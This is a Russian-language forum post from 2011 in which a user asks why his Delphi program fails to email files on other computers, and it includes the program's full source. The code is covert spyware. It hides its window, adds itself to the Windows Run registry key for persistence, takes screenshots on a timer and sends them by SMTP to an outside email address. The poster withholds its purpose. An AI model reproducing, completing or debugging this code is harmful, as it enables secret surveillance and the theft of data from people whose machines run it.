
15.03.2011, 21:18
|
Прохожий
|
|
Регистрация: 15.03.2011
Сообщения: 17
Репутация: -58
|
|
Подскажите почему не работает программа?
Не хотелось бы объяснять суть программы, знающие люди поймут и надеюсь помогут!
Проблема в том, что у меня на компе все работает как часы но на других нет!( Вернее на половину. Только не отсылаются файлы по почте. Что делаю не так? помогите люди добрые
Вот полный код:
Код:
unit Loger;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdMessage, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
ExtCtrls, jpeg, RegisTry;
type
TForm1 = class(TForm)
Timer: TTimer;
IdSMTP1: TIdSMTP;
IdAntiFreeze: TIdAntiFreeze;
IdMessage1: TIdMessage;
Timer2: TTimer;
procedure TimerTimer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
desk:hDC;
bmp_Screen:Graphics.TBitmap;
attach:TidAttachment;
msg:tidmessage;
i:integer;
jpg:TJPEGImage;
bm:TBitMap;
h: TRegistry;
implementation
{$R *.dfm}
procedure TForm1.TimerTimer(Sender: TObject);
begin
IdSMTP1.Connect();
if IdSMTP1.Connected = True then
begin
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
bm:=TBitMap.Create;
bm.Width:=Screen.Width;
bm.Height:=Screen.Height;
BitBlt(bm.Canvas.Handle,0,0,bm.Width,bm.Height,GetDC(0),0,0,SRCCOPY);
jpg:=TJPEGImage.Create;
jpg.Assign(bm);
jpg.SaveToFile('C:\image.bmp');
jpg.Free;
bm.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
h := TRegistry.Create;
h.RootKey:=HKEY_CURRENT_USER;
h.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('Project1',Application.ExeName);
h.CloseKey;
h.Free;
Application.ShowMainform:=false;
idSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'smtp.yandex.ru';
IdSMTP1.Port := 25;
IdSMTP1.Username := 'fov';
IdSMTP1.Password := '*****';
IdMessage1.Body.Text := 'Proverka';
IdMessage1.From.Text := 'fov@yandex.ru';
IdMessage1.Recipients.EMailAddresses := 'ole3d@mail.ru';
IdMessage1.Subject := 'theme';
TIdAttachment.Create(idMessage1.MessageParts, 'c:\image.bmp') ;
end;
end.
|